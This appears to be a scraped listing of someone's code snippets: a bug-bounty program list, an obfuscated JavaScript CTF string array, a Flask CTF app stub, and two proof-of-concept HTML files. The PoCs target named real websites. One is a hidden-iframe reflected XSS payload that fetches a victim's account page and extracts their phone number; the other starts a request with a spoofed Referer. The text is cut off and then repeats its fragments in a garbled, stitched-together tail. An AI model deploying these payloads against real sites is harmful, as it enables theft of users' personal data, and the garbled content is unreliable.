Gia Bui yabeow

## bb.txt
[
   {
      "program_name": "(ISC)2",
      "policy_url": "https://bugcrowd.com/isc2",
      "contact_url": "https://bugcrowd.com/isc2/report",
      "launch_date": "",
      "offers_bounty": "no",
      "offers_swag": false,
      "hall_of_fame": "",
      "safe_harbor": "partial",

## some_node.js
var a=['\x62\x47\x39\x6e','\x57\x57\x39\x31\x49\x47\x31\x31\x63\x33\x51\x67\x61\x32\x35\x76\x64\x79\x42\x30\x61\x47\x55\x67\x5a\x6d\x78\x68\x5a\x79\x42\x69\x65\x53\x42\x75\x62\x33\x63\x68','\x59\x32\x78\x76\x63\x32\x55\x3d','\x59\x6d\x6c\x6e\x62\x6e\x56\x74\x59\x6d\x56\x79\x4c\x6d\x70\x7a','\x59\x32\x39\x75\x5a\x6d\x6c\x6e','\x63\x6d\x56\x68\x5a\x47\x78\x70\x62\x6d\x55\x3d','\x59\x33\x4a\x6c\x59\x58\x52\x6c\x53\x57\x35\x30\x5a\x58\x4a\x6d\x59\x57\x4e\x6c','\x63\x33\x52\x6b\x61\x57\x34\x3d','\x63\x33\x52\x6b\x62\x33\x56\x30','\x4d\x6a\x67\x78\x4e\x44\x63\x33\x4d\x7a\x4d\x30\x4d\x54\x49\x78\x4d\x6a\x59\x30\x4d\x54\x59\x78\x4e\x44\x4d\x7a\x4e\x54\x59\x30\x4d\x7a\x45\x34\x4d\x44\x55\x35\x4d\x44\x67\x33\x4f\x44\x67\x34\x4e\x44\x67\x33\x4d\x44\x41\x79\x4d\x6a\x45\x78\x4d\x7a\x67\x33\x4d\x44\x51\x31\x4e\x44\x4d\x77\x4e\x44\x6b\x35\x4d\x54\x51\x79\x4e\x44\x41\x33\x4e\x54\x41\x79\x4d\x54\x41\x32\x4d\x7a\x51\x30\x4d\x6a\x4d\x33\x4e\x44\x59\x7a\x4d\x54\x41\x33\x4f\x54\x55\x35\x4f\x44\x4d\x33\x4e\x6a\x59\x77\x4d\x44\x63\

## 325uy32g6u3h4iu6hi43njjjhj.py
from flask import Flask, request, render_template, abort, jsonify, session
import json
import hashlib
import os
from pprint import pprint
FLAG = "FLAG" if not os.path.exists(
    "/opt/flag") else open("/opt/flag").read().strip()
app = Flask(__name__)
app.secret_key = 'secret_key'

## poc2.html
<!DOCTYPE html>
<html>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script>
        window.addEventListener("message", function(event) {
            var phone = $($.parseHTML(event.data)).find(".so-ttb").text();
            alert(phone);
        });
    </script>
<iframe width="0" height="0" src="http://vfilm.vn/Home/filter?keyword=%22%20autofocus%20onfocus%3D%22%24.get(%27%2Faccount%27%2C%20function(data)%7B%20parent.postMessage(data%2C%20%27*%27)%3B%20%7D)%3B" />

## poc.html
<!DOCTYPE html>
<html>
    <script>
        function httpGetAsync(theUrl, callback)
        {
            var xmlHttp = new XMLHttpRequest();
            xmlHttp.open("GET", theUrl, true); // true for asynchronous
            xmlHttp.setRequestHeader("Referer", "http://tv.vinaphone.com.vn/WTV2/login.jsp");
            xmlHttp.onreadystatechange = function() {
                if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
	[
	{
	"program_name": "(ISC)2",
	"policy_url": "https://bugcrowd.com/isc2",
	"contact_url": "https://bugcrowd.com/isc2/report",
	"launch_date": "",
	"offers_bounty": "no",
	"offers_swag": false,
	"hall_of_fame": "",
	"safe_harbor": "partial",
	from flask import Flask, request, render_template, abort, jsonify, session
	import json
	import hashlib
	import os
	from pprint import pprint
	FLAG = "FLAG" if not os.path.exists(
	"/opt/flag") else open("/opt/flag").read().strip()
	app = Flask(__name__)
	app.secret_key = 'secret_key'
	<!DOCTYPE html>
	<html>
	<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
	<script>
	window.addEventListener("message", function(event) {
	var phone = $($.parseHTML(event.data)).find(".so-ttb").text();
	alert(phone);
	});
	</script>
	<iframe width="0" height="0" src="http://vfilm.vn/Home/filter?keyword=%22%20autofocus%20onfocus%3D%22%24.get(%27%2Faccount%27%2C%20function(data)%7B%20parent.postMessage(data%2C%20%27*%27)%3B%20%7D)%3B" />